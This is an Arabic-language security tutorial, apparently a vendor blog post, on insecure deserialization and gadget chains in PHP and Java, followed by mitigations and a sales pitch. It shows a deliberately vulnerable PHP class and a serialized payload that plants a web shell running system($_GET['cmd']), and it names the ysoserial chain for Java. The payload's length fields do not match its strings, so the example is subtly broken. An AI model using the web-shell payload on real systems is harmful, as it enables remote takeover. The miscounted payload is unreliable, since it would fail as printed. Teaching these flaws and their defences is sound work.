إلغاء التسلسل غير الآمن: فهم سلاسل "الجادجت" في Java و PHP
لا يزال إلغاء التسلسل غير الآمن (Insecure Deserialization) أحد أكثر عيوب البرامج تعقيدًا وتدميرًا والمُدرجة في قائمة OWASP لأهم 10 ثغرات. تقوم هذه الثغرة بخداع بيئة تشغيل الخادم لتحويل تدفقات البايت الخبيثة إلى تعليمات برمجية تنفيذية، مما يؤدي بانتظام إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) دون مصادقة.
في هذا المقال التفصيلي من Cayvora Security، سنستكشف المفاهيم، وكيفية بناء سلاسل الأدوات (Gadget Chains)، واستراتيجيات التخفيف لعام 2025.
ما هو التسلسل وإلغاء التسلسل؟
التسلسل هو عملية تحويل كائن في الذاكرة إلى تدفق بايت. إلغاء التسلسل هو العملية العكسية تمامًا. تنشأ الثغرة عندما يتلقى التطبيق كائنًا متسلسلًا من مصدر غير موثوق (مثل ملفات تعريف الارتباط أو واجهة JSON API) ويقوم بإلغاء تسلسله دون التحقق من صحته.
آلية التهديد: الطرق السحرية
عند إلغاء تسلسل كائن، تستدعي لغات البرمجة وظائف محددة تلقائيًا ("الطرق السحرية" مثل __destruct() في PHP و readObject() في Java). إذا تلاعب المهاجم بالبيانات المتسلسلة، فيمكنه التحكم في سمات الكائن الذي تم إنشاؤه لإملاء كيفية عمل الطريقة السحرية.
استغلال إلغاء التسلسل في PHP
لنفحص مقتطف PHP ضعيف:
class Logger {
public $logFile;
public $logData;
public function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
$user_data = unserialize($_COOKIE['pref']);
يصنع المهاجم سلسلة ضارة:
O:6:"Logger":2:{s:7:"logFile";s:12:"shell.php";s:7:"logData";s:27:"<?php system($_GET['cmd']); ?>";}
تتم كتابة السلسلة الخبيثة لملف خبيث من خلال وظيفة الهدم!
استغلال إلغاء التسلسل في Java
إذا كان مسار التطبيق يتضمن مكتبة commons-collections، فيمكن للمهاجمين استخدام سلسلة استغلال باستخدام أداة ysoserial لتحقيق تنفيذ التعليمات البرمجية التعسفي من خلال واجهة ObjectInputStream. عندما يقرأ جافا الكائن، يؤدي ذلك إلى تشغيل محولات تنفيذ Runtime.exec().
طرق الحماية الاستراتيجية
1. تجنب إالغاء تسلسل البيانات غير الموثوقة
لا تستخدم أبدًا unserialize() أو ObjectInputStream للبيانات القادمة من العميل. استخدم بدلاً من ذلك تنسيقات مثل JSON أو XML.
2. تنفيذ فحوصات النزاهة
أضف توقيعًا مشفرًا (HMAC) إلى الكائن المتسلسل.
3. استخدام قائمة السماح الصارمة البيضاء (في Java)
إذا كان التسلسل الأصلي ضروريًا، فيجب تجاوز resolveClass() لرفض أي فئة غير مصرح بها.
الخاتمة
يتيح إلغاء التسلسل غير الآمن للمهاجمين اختطاف العمليات الداخلية للغة وتنفيذ كود خبيث باستخدام أدوات التعليمات البرمجية الموجودة مسبقًا.
هل واجهات برمجة التطبيقات (APIs) الخاصة بك آمنة؟
تتجاوز ثغرات إلغاء التسلسل الماسحات الضوئية بسهولة. تواصل مع Cayvora Security لطلب مراجعة التعليمات البرمجية.
📱 تواصل مع خبير أمني عبر واتساب